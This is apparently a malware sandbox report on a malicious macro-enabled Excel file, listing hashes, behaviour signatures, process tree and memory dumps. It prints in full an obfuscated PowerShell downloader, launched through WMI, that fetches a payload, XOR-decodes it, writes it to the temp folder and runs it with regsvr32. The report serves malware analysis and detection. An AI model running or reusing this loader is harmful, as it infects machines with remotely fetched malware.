Overview

overview

10

Static

static

8-409-98186.xlsm

windows7_x64

10

8-409-98186.xlsm

windows10_x64

10

Analysis

  • max time kernel
    84s
  • max time network
    69s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    16-07-2020 13:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    8-409-98186.xlsm

  • Size

    45KB

  • MD5

    2540aea01c233fc9be8a70a5ad3b23b1

  • SHA1

    66f7d36292484d031ebcac700230dbb4f6f3c70b

  • SHA256

    fc27d175081d94e309d0b60062c573b3975dcdcd70545f8be8af8a11ba616b96

  • SHA512

    050bd4ad6ddb06b31f7c94e674568737727521ee1db0a8ec22ce5cd176946e7e07027e5cf1469242311688862560926a777ee879367fac8ddad1142bf4b63f6f

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8-409-98186.xlsm
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious use of FindShellTrayWindow
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:240
    • C:\Windows\System32\Wbem\wMiC.exe
      wMiC prOCeSS CalL 'crEaTe' "POwERSheLL -WIN hIDden -nOniNteraC -execUTIo BYPaSs -noproF Set BM (([CHAr]34).ToStRING() ) ;SV ('6S') ( [STRiNg][CHAr]44 ) ; "\"nal vp New-Object -F;`$aa='rexo';`$cc='om /mabu';`${Yl}='';`${S}=0;`${G}=1;`${n`N}=10*10;function m`2(`${ih}){`$(`${iH}.substring(`${g}) -replace('-'${6S}`${Y`L})) -replace('S'${6S}`${YL});return `${_}};`${MK}='a';`${y`M}='n';+'';`${CC}=`${CC}.split(' ');`${S`s}=&('m2')((.('g'+'wmi') ('Win'+'3'+'2_c'+'omp'+'utersystempro'+'duct')).uuid);`${e}='ht'+'t'+(${BM}{1}{0}${BM}-f ':/'${6S}'ps')+`${Cc}[`${G}]+`${Aa}+'.c'+(`${cc}[`${S}${6S}`${g}] -replace '(\D{5})'${6S}'/')+'?'+`${sS};.('sa'+'l') ('ss') ('regsv'+'r3'+'2');&('Si') ('Va'+'r'+'i'+'able:/f') `${E}.replace(' '${6S}`${yl});`${H`B}=`${Y`m}+'t';.('Sv') 1 ${BM}Net.WebClie`$hb${BM};&('SI') ('Variab'+'le:C'+'2') (&('vp') (.('Gv') 1 -Va));&('SV') ('c') ${BM}DownloadDat`$mk${BM};`${o`Ad}=(([Char[]](.('V'+'ariabl'+'e') ('C2') -ValueOn).((.('Va'+'riable') ('c') -Val)).Invoke((&('Vari'+'a'+'ble') ('f')).Value))-Join`${y`L});`${T`FG}=`${EN`V:t`eMp};`${mI}=(`${d}=.('gc'+'i') `${T`FG}|&('get'+'-ra'+'ndom')).name -replace ${BM}.{4}`$${BM};`${W}=`${t`FG}+'\'+`${mi}+'.';`${vM}=`${o`Ad}.substring(`${s}${6S}`${G});`${p}=[int]`${VM}*`${nn};`${l`qA} =`${o`Ad}.remove(`${S}${6S}`${G});`${PL}=`${L`qA} -split'!';`${J`P}=[Text.Encoding]::UTF8;function va(`${zx}){`${sa}=[Convert]::FromBase64String(`${zX});return `${S`A}};foreach(`${iT} in `${pl}[`${s}]){`${g}=@();`${P`pT}=`${vM}.ToCharArray();`${It}=.('va')(`${it});for(`${J`l}=`${S}; `${J`L} -lt `${IT}.count; `${jl}++){`${G} += [char]([Byte]`${I`T}[`${J`L}] -bxor[Byte]`${p`Pt}[`${j`L}%`${P`PT}.count])}};`${V`V}=`${l`qa}.Replace((`${PL}[`${s}]+${BM}!${BM})${6S}`${j`p}.GetString(`${g}));[io.file]::WriteAllBytes(`${W}${6S}(.('va')(`${VV} -replace ${BM}.{200}`$${BM})));if((.('gc'+'i') `${w}).Length -lt `${p}){exit};&('sle'+'ep') 22;.('ss') -s `${w};.('sle'+'ep') 29;[io.file]::WriteAllLines(`${w}${6S}[regex]::replace(`${Ss}${6S}'\d'${6S}`${M`K}))"\" |&( $PshOME[21]+$PShomE[34]+'x')"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      PID:1048
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwERSheLL.exe
    POwERSheLL -WIN hIDden -nOniNteraC -execUTIo BYPaSs -noproF Set BM (([CHAr]34).ToStRING() ) ;SV ('6S') ( [STRiNg][CHAr]44 ) ; "\"nal vp New-Object -F;`$aa='rexo';`$cc='om /mabu';`${Yl}='';`${S}=0;`${G}=1;`${n`N}=10*10;function m`2(`${ih}){`$(`${iH}.substring(`${g}) -replace('-'${6S}`${Y`L})) -replace('S'${6S}`${YL});return `${_}};`${MK}='a';`${y`M}='n';+'';`${CC}=`${CC}.split(' ');`${S`s}=&('m2')((.('g'+'wmi') ('Win'+'3'+'2_c'+'omp'+'utersystempro'+'duct')).uuid);`${e}='ht'+'t'+(${BM}{1}{0}${BM}-f ':/'${6S}'ps')+`${Cc}[`${G}]+`${Aa}+'.c'+(`${cc}[`${S}${6S}`${g}] -replace '(\D{5})'${6S}'/')+'?'+`${sS};.('sa'+'l') ('ss') ('regsv'+'r3'+'2');&('Si') ('Va'+'r'+'i'+'able:/f') `${E}.replace(' '${6S}`${yl});`${H`B}=`${Y`m}+'t';.('Sv') 1 ${BM}Net.WebClie`$hb${BM};&('SI') ('Variab'+'le:C'+'2') (&('vp') (.('Gv') 1 -Va));&('SV') ('c') ${BM}DownloadDat`$mk${BM};`${o`Ad}=(([Char[]](.('V'+'ariabl'+'e') ('C2') -ValueOn).((.('Va'+'riable') ('c') -Val)).Invoke((&('Vari'+'a'+'ble') ('f')).Value))-Join`${y`L});`${T`FG}=`${EN`V:t`eMp};`${mI}=(`${d}=.('gc'+'i') `${T`FG}|&('get'+'-ra'+'ndom')).name -replace ${BM}.{4}`$${BM};`${W}=`${t`FG}+'\'+`${mi}+'.';`${vM}=`${o`Ad}.substring(`${s}${6S}`${G});`${p}=[int]`${VM}*`${nn};`${l`qA} =`${o`Ad}.remove(`${S}${6S}`${G});`${PL}=`${L`qA} -split'!';`${J`P}=[Text.Encoding]::UTF8;function va(`${zx}){`${sa}=[Convert]::FromBase64String(`${zX});return `${S`A}};foreach(`${iT} in `${pl}[`${s}]){`${g}=@();`${P`pT}=`${vM}.ToCharArray();`${It}=.('va')(`${it});for(`${J`l}=`${S}; `${J`L} -lt `${IT}.count; `${jl}++){`${G} += [char]([Byte]`${I`T}[`${J`L}] -bxor[Byte]`${p`Pt}[`${j`L}%`${P`PT}.count])}};`${V`V}=`${l`qa}.Replace((`${PL}[`${s}]+${BM}!${BM})${6S}`${j`p}.GetString(`${g}));[io.file]::WriteAllBytes(`${W}${6S}(.('va')(`${VV} -replace ${BM}.{200}`$${BM})));if((.('gc'+'i') `${w}).Length -lt `${p}){exit};&('sle'+'ep') 22;.('ss') -s `${w};.('sle'+'ep') 29;[io.file]::WriteAllLines(`${w}${6S}[regex]::replace(`${Ss}${6S}'\d'${6S}`${M`K}))"\" |&( $PshOME[21]+$PShomE[34]+'x')
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:1760
    • C:\Windows\system32\regsvr32.exe
      "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\CVRE04.tmp.
      2⤵
        PID:1568

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/240-0-0x0000000005DB0000-0x0000000005EB0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/240-1-0x00000000003BA000-0x00000000003BC000-memory.dmp

      Filesize

      8KB

      Download

    • memory/240-2-0x00000000003BA000-0x00000000003BC000-memory.dmp

      Filesize

      8KB

      Download

    • memory/240-3-0x0000000006AE9000-0x0000000006AEA000-memory.dmp

      Filesize

      4KB

      Download

    • memory/240-4-0x0000000006AEA000-0x0000000006AEE000-memory.dmp

      Filesize

      16KB

      Download